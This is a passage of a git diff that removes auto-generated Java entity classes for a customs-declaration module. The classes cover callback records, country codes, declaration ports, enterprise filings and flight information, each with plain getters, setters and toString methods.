ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("userId", getUserId()) - .append("customsCode", getCustomsCode()) - .append("declareOrderNo", getDeclareOrderNo()) - .append("sessionId", getSessionId()) - .append("serviceTime", getServiceTime()) - .append("status", getStatus()) - .append("addTime", getAddTime()) - .append("postResult", getPostResult()) - .append("sendNumber", getSendNumber()) - .append("sendTime", getSendTime()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCallbackPlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCallbackPlus.java deleted file mode 100644 index bcbbb3a..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCallbackPlus.java +++ /dev/null @@ -1,174 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 海关回查对象 custom_callback - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_callback") -public class CustomCallbackPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - /** 用户代码 */ - @Excel(name = "用户代码") - private Long userId; - /** 海关备案代码 */ - @Excel(name = "海关备案代码") - private String customsCode; - /** 申报订单号 */ - @Excel(name = "申报订单号") - private String declareOrderNo; - /** 会话ID */ - @Excel(name = "会话ID") - private String sessionId; - /** 会话时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "会话时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date serviceTime; - /** 状态 */ - @Excel(name = "状态") - private Integer status; - /** 添加时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "添加时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date addTime; - /** 上传结果 */ - @Excel(name = "上传结果") - private String postResult; - /** 上传次数 */ - @Excel(name = "上传次数") - private Long sendNumber; - /** 上传时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "上传时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date sendTime; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setCustomsCode(String customsCode) - { - this.customsCode = customsCode; - } - - public String getCustomsCode() - { - return customsCode; - } - public void setDeclareOrderNo(String declareOrderNo) - { - this.declareOrderNo = declareOrderNo; - } - - public String getDeclareOrderNo() - { - return declareOrderNo; - } - public void setSessionId(String sessionId) - { - this.sessionId = sessionId; - } - - public String getSessionId() - { - return sessionId; - } - public void setServiceTime(Date serviceTime) - { - this.serviceTime = serviceTime; - } - - public Date getServiceTime() - { - return serviceTime; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setAddTime(Date addTime) - { - this.addTime = addTime; - } - - public Date getAddTime() - { - return addTime; - } - public void setPostResult(String postResult) - { - this.postResult = postResult; - } - - public String getPostResult() - { - return postResult; - } - public void setSendNumber(Long sendNumber) - { - this.sendNumber = sendNumber; - } - - public Long getSendNumber() - { - return sendNumber; - } - public void setSendTime(Date sendTime) - { - this.sendTime = sendTime; - } - - public Date getSendTime() - { - return sendTime; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("userId", getUserId()) - .append("customsCode", getCustomsCode()) - .append("declareOrderNo", getDeclareOrderNo()) - .append("sessionId", getSessionId()) - .append("serviceTime", getServiceTime()) - .append("status", getStatus()) - .append("addTime", getAddTime()) - .append("postResult", getPostResult()) - .append("sendNumber", getSendNumber()) - .append("sendTime", getSendTime()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCountryCode.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCountryCode.java deleted file mode 100644 index 6f1426e..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCountryCode.java +++ /dev/null @@ -1,66 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 国别代码对象 custom_country_code - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomCountryCode extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - - /** 代码 */ - @Excel(name = "代码") - private String code; - - /** 名称 */ - @Excel(name = "名称") - private String name; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("code", getCode()) - .append("name", getName()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCountryCodePlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCountryCodePlus.java deleted file mode 100644 index 025bc1e..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomCountryCodePlus.java +++ /dev/null @@ -1,78 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 国别代码对象 custom_country_code - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_country_code") -public class CustomCountryCodePlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - /** 代码 */ - @Excel(name = "代码") - private String code; - /** 名称 */ - @Excel(name = "名称") - private String name; - /** 备注 */ - @Excel(name = "备注") - private String remark; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setRemark(String remark) - { - this.remark = remark; - } - - public String getRemark() - { - return remark; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("code", getCode()) - .append("name", getName()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomDeclarePort.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomDeclarePort.java deleted file mode 100644 index 95e2772..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomDeclarePort.java +++ /dev/null @@ -1,121 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 申报口岸对象 custom_declare_port - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomDeclarePort extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - - /** 关区名称 */ - @Excel(name = "关区名称") - private String name; - - /** 关区编码 */ - @Excel(name = "关区编码") - private String code; - - /** 描述 */ - @Excel(name = "描述") - private String describe; - - /** 直属关区 */ - @Excel(name = "直属关区") - private String directlyName; - - /** 简称 */ - @Excel(name = "简称") - private String shortName; - - /** 是否使用 */ - @Excel(name = "是否使用") - private Integer isUse; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setDescribe(String describe) - { - this.describe = describe; - } - - public String getDescribe() - { - return describe; - } - public void setDirectlyName(String directlyName) - { - this.directlyName = directlyName; - } - - public String getDirectlyName() - { - return directlyName; - } - public void setShortName(String shortName) - { - this.shortName = shortName; - } - - public String getShortName() - { - return shortName; - } - public void setIsUse(Integer isUse) - { - this.isUse = isUse; - } - - public Integer getIsUse() - { - return isUse; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("code", getCode()) - .append("describe", getDescribe()) - .append("directlyName", getDirectlyName()) - .append("shortName", getShortName()) - .append("isUse", getIsUse()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomDeclarePortPlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomDeclarePortPlus.java deleted file mode 100644 index 40e59a9..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomDeclarePortPlus.java +++ /dev/null @@ -1,117 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 申报口岸对象 custom_declare_port - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_declare_port") -public class CustomDeclarePortPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - /** 关区名称 */ - @Excel(name = "关区名称") - private String name; - /** 关区编码 */ - @Excel(name = "关区编码") - private String code; - /** 描述 */ - @Excel(name = "描述") - private String describe; - /** 直属关区 */ - @Excel(name = "直属关区") - private String directlyName; - /** 简称 */ - @Excel(name = "简称") - private String shortName; - /** 是否使用 */ - @Excel(name = "是否使用") - private Integer isUse; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setDescribe(String describe) - { - this.describe = describe; - } - - public String getDescribe() - { - return describe; - } - public void setDirectlyName(String directlyName) - { - this.directlyName = directlyName; - } - - public String getDirectlyName() - { - return directlyName; - } - public void setShortName(String shortName) - { - this.shortName = shortName; - } - - public String getShortName() - { - return shortName; - } - public void setIsUse(Integer isUse) - { - this.isUse = isUse; - } - - public Integer getIsUse() - { - return isUse; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("code", getCode()) - .append("describe", getDescribe()) - .append("directlyName", getDirectlyName()) - .append("shortName", getShortName()) - .append("isUse", getIsUse()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomEnterpriseRecord.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomEnterpriseRecord.java deleted file mode 100644 index c17e461..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomEnterpriseRecord.java +++ /dev/null @@ -1,248 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 企业备案对象 custom_enterprise_record - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomEnterpriseRecord extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - - /** 申报口岸Id */ - @Excel(name = "申报口岸Id") - private Long declarePortId; - - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - - /** 电商平台域名 */ - @Excel(name = "电商平台域名") - private String domainName; - - /** 备案企业名称 */ - @Excel(name = "备案企业名称") - private String enterpriseName; - - /** 电商平台简称 */ - @Excel(name = "电商平台简称") - private String platformShort; - - /** 商家简称 */ - @Excel(name = "商家简称") - private String businessShort; - - /** 统一信用代码 */ - @Excel(name = "统一信用代码") - private String creditCode; - - /** 海关备案编码 */ - @Excel(name = "海关备案编码") - private String customsCode; - - /** 国检备案编码 */ - @Excel(name = "国检备案编码") - private String nationalCode; - - /** 海关支付单查询加密URL */ - @Excel(name = "海关支付单查询加密URL") - private String encryptUrl; - - /** 担保企业代码 */ - @Excel(name = "担保企业代码") - private String geCode; - - /** 传输报文编码 */ - @Excel(name = "传输报文编码") - private String messageCode; - - /** 报文传输安全密钥 */ - @Excel(name = "报文传输安全密钥") - private String kjdsKey; - - /** FTP网址 */ - @Excel(name = "FTP网址") - private String ftpServerIp; - - /** FTP密码 */ - @Excel(name = "FTP密码") - private String ftpPassword; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setDomainName(String domainName) - { - this.domainName = domainName; - } - - public String getDomainName() - { - return domainName; - } - public void setEnterpriseName(String enterpriseName) - { - this.enterpriseName = enterpriseName; - } - - public String getEnterpriseName() - { - return enterpriseName; - } - public void setPlatformShort(String platformShort) - { - this.platformShort = platformShort; - } - - public String getPlatformShort() - { - return platformShort; - } - public void setBusinessShort(String businessShort) - { - this.businessShort = businessShort; - } - - public String getBusinessShort() - { - return businessShort; - } - public void setCreditCode(String creditCode) - { - this.creditCode = creditCode; - } - - public String getCreditCode() - { - return creditCode; - } - public void setCustomsCode(String customsCode) - { - this.customsCode = customsCode; - } - - public String getCustomsCode() - { - return customsCode; - } - public void setNationalCode(String nationalCode) - { - this.nationalCode = nationalCode; - } - - public String getNationalCode() - { - return nationalCode; - } - public void setEncryptUrl(String encryptUrl) - { - this.encryptUrl = encryptUrl; - } - - public String getEncryptUrl() - { - return encryptUrl; - } - public void setGeCode(String geCode) - { - this.geCode = geCode; - } - - public String getGeCode() - { - return geCode; - } - public void setMessageCode(String messageCode) - { - this.messageCode = messageCode; - } - - public String getMessageCode() - { - return messageCode; - } - public void setKjdsKey(String kjdsKey) - { - this.kjdsKey = kjdsKey; - } - - public String getKjdsKey() - { - return kjdsKey; - } - public void setFtpServerIp(String ftpServerIp) - { - this.ftpServerIp = ftpServerIp; - } - - public String getFtpServerIp() - { - return ftpServerIp; - } - public void setFtpPassword(String ftpPassword) - { - this.ftpPassword = ftpPassword; - } - - public String getFtpPassword() - { - return ftpPassword; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("declarePortId", getDeclarePortId()) - .append("userId", getUserId()) - .append("domainName", getDomainName()) - .append("enterpriseName", getEnterpriseName()) - .append("platformShort", getPlatformShort()) - .append("businessShort", getBusinessShort()) - .append("creditCode", getCreditCode()) - .append("customsCode", getCustomsCode()) - .append("nationalCode", getNationalCode()) - .append("encryptUrl", getEncryptUrl()) - .append("geCode", getGeCode()) - .append("messageCode", getMessageCode()) - .append("kjdsKey", getKjdsKey()) - .append("ftpServerIp", getFtpServerIp()) - .append("ftpPassword", getFtpPassword()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomEnterpriseRecordPlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomEnterpriseRecordPlus.java deleted file mode 100644 index 48defca..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomEnterpriseRecordPlus.java +++ /dev/null @@ -1,247 +0,0 @@ -package com.ruoyi.custom.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 企业备案对象 custom_enterprise_record - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_enterprise_record") -public class CustomEnterpriseRecordPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - /** 申报口岸Id */ - @Excel(name = "申报口岸Id") - private Long declarePortId; - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - /** 电商平台域名 */ - @Excel(name = "电商平台域名") - private String domainName; - /** 备案企业名称 */ - @Excel(name = "备案企业名称") - private String enterpriseName; - /** 电商平台简称 */ - @Excel(name = "电商平台简称") - private String platformShort; - /** 商家简称 */ - @Excel(name = "商家简称") - private String businessShort; - /** 统一信用代码 */ - @Excel(name = "统一信用代码") - private String creditCode; - /** 海关备案编码 */ - @Excel(name = "海关备案编码") - private String customsCode; - /** 国检备案编码 */ - @Excel(name = "国检备案编码") - private String nationalCode; - /** 海关支付单查询加密URL */ - @Excel(name = "海关支付单查询加密URL") - private String encryptUrl; - /** 担保企业代码 */ - @Excel(name = "担保企业代码") - private String geCode; - /** 传输报文编码 */ - @Excel(name = "传输报文编码") - private String messageCode; - /** 报文传输安全密钥 */ - @Excel(name = "报文传输安全密钥") - private String kjdsKey; - /** FTP网址 */ - @Excel(name = "FTP网址") - private String ftpServerIp; - /** FTP密码 */ - @Excel(name = "FTP密码") - private String ftpPassword; - /** 备注 */ - @Excel(name = "备注") - private String remark; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setDomainName(String domainName) - { - this.domainName = domainName; - } - - public String getDomainName() - { - return domainName; - } - public void setEnterpriseName(String enterpriseName) - { - this.enterpriseName = enterpriseName; - } - - public String getEnterpriseName() - { - return enterpriseName; - } - public void setPlatformShort(String platformShort) - { - this.platformShort = platformShort; - } - - public String getPlatformShort() - { - return platformShort; - } - public void setBusinessShort(String businessShort) - { - this.businessShort = businessShort; - } - - public String getBusinessShort() - { - return businessShort; - } - public void setCreditCode(String creditCode) - { - this.creditCode = creditCode; - } - - public String getCreditCode() - { - return creditCode; - } - public void setCustomsCode(String customsCode) - { - this.customsCode = customsCode; - } - - public String getCustomsCode() - { - return customsCode; - } - public void setNationalCode(String nationalCode) - { - this.nationalCode = nationalCode; - } - - public String getNationalCode() - { - return nationalCode; - } - public void setEncryptUrl(String encryptUrl) - { - this.encryptUrl = encryptUrl; - } - - public String getEncryptUrl() - { - return encryptUrl; - } - public void setGeCode(String geCode) - { - this.geCode = geCode; - } - - public String getGeCode() - { - return geCode; - } - public void setMessageCode(String messageCode) - { - this.messageCode = messageCode; - } - - public String getMessageCode() - { - return messageCode; - } - public void setKjdsKey(String kjdsKey) - { - this.kjdsKey = kjdsKey; - } - - public String getKjdsKey() - { - return kjdsKey; - } - public void setFtpServerIp(String ftpServerIp) - { - this.ftpServerIp = ftpServerIp; - } - - public String getFtpServerIp() - { - return ftpServerIp; - } - public void setFtpPassword(String ftpPassword) - { - this.ftpPassword = ftpPassword; - } - - public String getFtpPassword() - { - return ftpPassword; - } - public void setRemark(String remark) - { - this.remark = remark; - } - - public String getRemark() - { - return remark; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("declarePortId", getDeclarePortId()) - .append("userId", getUserId()) - .append("domainName", getDomainName()) - .append("enterpriseName", getEnterpriseName()) - .append("platformShort", getPlatformShort()) - .append("businessShort", getBusinessShort()) - .append("creditCode", getCreditCode()) - .append("customsCode", getCustomsCode()) - .append("nationalCode", getNationalCode()) - .append("encryptUrl", getEncryptUrl()) - .append("geCode", getGeCode()) - .append("messageCode", getMessageCode()) - .append("kjdsKey", getKjdsKey()) - .append("ftpServerIp", getFtpServerIp()) - .append("ftpPassword", getFtpPassword()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomFlightInfo.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomFlightInfo.java deleted file mode 100644 index 90e74b9..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomFlightInfo.java +++ /dev/null @@ -1,407 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 航班信息对象 custom_flight_info - * - * @author luqj - * @date 2021-10-23 - */ -public class CustomFlightInfo extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - - /** 仓库Id */ - @Excel(name = "仓库Id") - private Long warehouseId; - - /** 申报口岸Id */ - @Excel(name = "申报口岸Id") - private Long declarePortId; - - /** 清关模式:1(BC);0(个人) */ - @Excel(name = "清关模式:1", readConverterExp = "B=C") - private Integer mode; - - /** 批次号 */ - @Excel(name = "批次号") - private String batchNumber; - - /** 提运单号 */ - @Excel(name = "提运单号") - private String deliveryNumber; - - /** 运输方式:2、水路运输;3、铁路运输;4、公路运输;5、航空运输;6、邮件运输;9、其它运输 */ - @Excel(name = "运输方式:2、水路运输;3、铁路运输;4、公路运输;5、航空运输;6、邮件运输;9、其它运输") - private Integer trafMode; - - /** 航空公司 */ - @Excel(name = "航空公司") - private String airline; - - /** 起运国 */ - @Excel(name = "起运国") - private String departureCountry; - - /** 始发城市 */ - @Excel(name = "始发城市") - private String departureCity; - - /** 始发机场 */ - @Excel(name = "始发机场") - private String departureAirport; - - /** 中转机场 */ - @Excel(name = "中转机场") - private String transitAirport; - - /** 到达机场 */ - @Excel(name = "到达机场") - private String arriveAirport; - - /** 航班号 */ - @Excel(name = "航班号") - private String flightNumber; - - /** 是否直航 */ - @Excel(name = "是否直航") - private Integer isDirectFlight; - - /** 是否我司订舱 */ - @Excel(name = "是否我司订舱") - private Integer isOurBooking; - - /** 出发时间(当地) */ - @Excel(name = "出发时间", readConverterExp = "当=地") - private Date departureLocalTime; - - /** 出发时间(北京) */ - @Excel(name = "出发时间", readConverterExp = "北=京") - private Date departureTime; - - /** 到达时间(北京) */ - @Excel(name = "到达时间", readConverterExp = "北=京") - private Date arriveTime; - - /** 实际到达时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "实际到达时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date actualArriveTime; - - /** 托盘数 */ - @Excel(name = "托盘数") - private Integer trayNumber; - - /** 包裹数 */ - @Excel(name = "包裹数") - private Integer packageNumber; - - /** 总重量(KG) */ - @Excel(name = "总重量", readConverterExp = "K=G") - private BigDecimal weight; - - /** 计费重量(KG) */ - @Excel(name = "计费重量", readConverterExp = "K=G") - private BigDecimal chargeableWeight; - - /** 总体积(立方米) */ - @Excel(name = "总体积", readConverterExp = "立=方米") - private BigDecimal volume; - - /** 添加时间 */ - @JsonFormat(pattern = "yyyy-MM-dd") - @Excel(name = "添加时间", width = 30, dateFormat = "yyyy-MM-dd") - private Date addTime; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setUserId(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - public void setWarehouseId(Long warehouseId) - { - this.warehouseId = warehouseId; - } - - public Long getWarehouseId() - { - return warehouseId; - } - public void setDeclarePortId(Long declarePortId) - { - this.declarePortId = declarePortId; - } - - public Long getDeclarePortId() - { - return declarePortId; - } - public void setMode(Integer mode) - { - this.mode = mode; - } - - public Integer getMode() - { - return mode; - } - public void setBatchNumber(String batchNumber) - { - this.batchNumber = batchNumber; - } - - public String getBatchNumber() - { - return batchNumber; - } - public void setDeliveryNumber(String deliveryNumber) - { - this.deliveryNumber = deliveryNumber; - } - - public String getDeliveryNumber() - { - return deliveryNumber; - } - public void setTrafMode(Integer trafMode) - { - this.trafMode = trafMode; - } - - public Integer getTrafMode() - { - return trafMode; - } - public void setAirline(String airline) - { - this.airline = airline; - } - - public String getAirline() - { - return airline; - } - public void setDepartureCountry(String departureCountry) - { - this.departureCountry = departureCountry; - } - - public String getDepartureCountry() - { - return departureCountry; - } - public void setDepartureCity(String departureCity) - { - this.departureCity = departureCity; - } - - public String getDepartureCity() - { - return departureCity; - } - public void setDepartureAirport(String departureAirport) - { - this.departureAirport = departureAirport; - } - - public String getDepartureAirport() - { - return departureAirport; - } - public void setTransitAirport(String transitAirport) - { - this.transitAirport = transitAirport; - } - - public String getTransitAirport() - { - return transitAirport; - } - public void setArriveAirport(String arriveAirport) - { - this.arriveAirport = arriveAirport; - } - - public String getArriveAirport() - { - return arriveAirport; - } - public void setFlightNumber(String flightNumber) - { - this.flightNumber = flightNumber; - } - - public String getFlightNumber() - { - return flightNumber; - } - public void setIsDirectFlight(Integer isDirectFlight) - { - this.isDirectFlight = isDirectFlight; - } - - public Integer getIsDirectFlight() - { - return isDirectFlight; - } - public void setIsOurBooking(Integer isOurBooking) - { - this.isOurBooking = isOurBooking; - } - - public Integer getIsOurBooking() - { - return isOurBooking; - } - public void setDepartureLocalTime(Date departureLocalTime) - { - this.departureLocalTime = departureLocalTime; - } - - public Date getDepartureLocalTime() - { - return departureLocalTime; - } - public void setDepartureTime(Date departureTime) - { - this.departureTime = departureTime; - } - - public Date getDepartureTime() - { - return departureTime; - } - public void setArriveTime(Date arriveTime) - { - this.arriveTime = arriveTime; - } - - public Date getArriveTime() - { - return arriveTime; - } - public void setActualArriveTime(Date actualArriveTime) - { - this.actualArriveTime = actualArriveTime; - } - - public Date getActualArriveTime() - { - return actualArriveTime; - } - public void setTrayNumber(Integer trayNumber) - { - this.trayNumber = trayNumber; - } - - public Integer getTrayNumber() - { - return trayNumber; - } - public void setPackageNumber(Integer packageNumber) - { - this.packageNumber = packageNumber; - } - - public Integer getPackageNumber() - { - return packageNumber; - } - public void setWeight(BigDecimal weight) - { - this.weight = weight; - } - - public BigDecimal getWeight() - { - return weight; - } - public void setChargeableWeight(BigDecimal chargeableWeight) - { - this.chargeableWeight = chargeableWeight; - } - - public BigDecimal getChargeableWeight() - { - return chargeableWeight; - } - public void setVolume(BigDecimal volume) - { - this.volume = volume; - } - - public BigDecimal getVolume() - { - return volume; - } - public void setAddTime(Date addTime) - { - this.addTime = addTime; - } - - public Date getAddTime() - { - return addTime; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("userId", getUserId()) - .append("warehouseId", getWarehouseId()) - .append("declarePortId", getDeclarePortId()) - .append("mode", getMode()) - .append("batchNumber", getBatchNumber()) - .append("deliveryNumber", getDeliveryNumber()) - .append("trafMode", getTrafMode()) - .append("airline", getAirline()) - .append("departureCountry", getDepartureCountry()) - .append("departureCity", getDepartureCity()) - .append("departureAirport", getDepartureAirport()) - .append("transitAirport", getTransitAirport()) - .append("arriveAirport", getArriveAirport()) - .append("flightNumber", getFlightNumber()) - .append("isDirectFlight", getIsDirectFlight()) - .append("isOurBooking", getIsOurBooking()) - .append("departureLocalTime", getDepartureLocalTime()) - .append("departureTime", getDepartureTime()) - .append("arriveTime", getArriveTime()) - .append("actualArriveTime", getActualArriveTime()) - .append("trayNumber", getTrayNumber()) - .append("packageNumber", getPackageNumber()) - .append("weight", getWeight()) - .append("chargeableWeight", getChargeableWeight()) - .append("volume", getVolume()) - .append("remark", getRemark()) - .append("addTime", getAddTime()) - .toString(); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomFlightInfoPlus.java b/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomFlightInfoPlus.java deleted file mode 100644 index 1e3bf7b..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/domain/CustomFlightInfoPlus.java +++ /dev/null @@ -1,395 +0,0 @@ -package com.ruoyi.custom.domain; - -import java.math.BigDecimal; -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 航班信息对象 custom_flight_info - * - * @author luqj - * @date 2021-10-23 - */ -@TableName(value = "custom_flight_info") -public class CustomFlightInfoPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** $column.columnComment */ - private Long id; - /** 用户id */ - @Excel(name = "用户id") - private Long userId; - /** 仓库Id */ - @Excel(name = "仓库Id") - private Long warehouseId; - /** 申报口岸Id */ - @Excel(name = "申报口岸Id") - private Long declarePortId; - /** 清关模式:1(BC);0(个人) */ - @Excel(name = "清关模式:1", readConverterExp = "B=C") - private Integer mode; - /** 批次号 */ - @Excel(name = "批次号") - private String batchNumber; - /** 提运单号 */ - @Excel(name = "提运单号") - private String deliveryNumber; - /** 运输方式:2、水路运输;3、铁路运输;4、公路运输;5、航空运输;6、邮件运输;9、其它运输 */ - @Excel(name = "运输方式:2、水路运输;3、铁路运输;4、公路运输;5、航空运输;6、邮件运输;9、其它运输") - private Integer trafMode; - /** 航空公司 */ - @Excel(name = 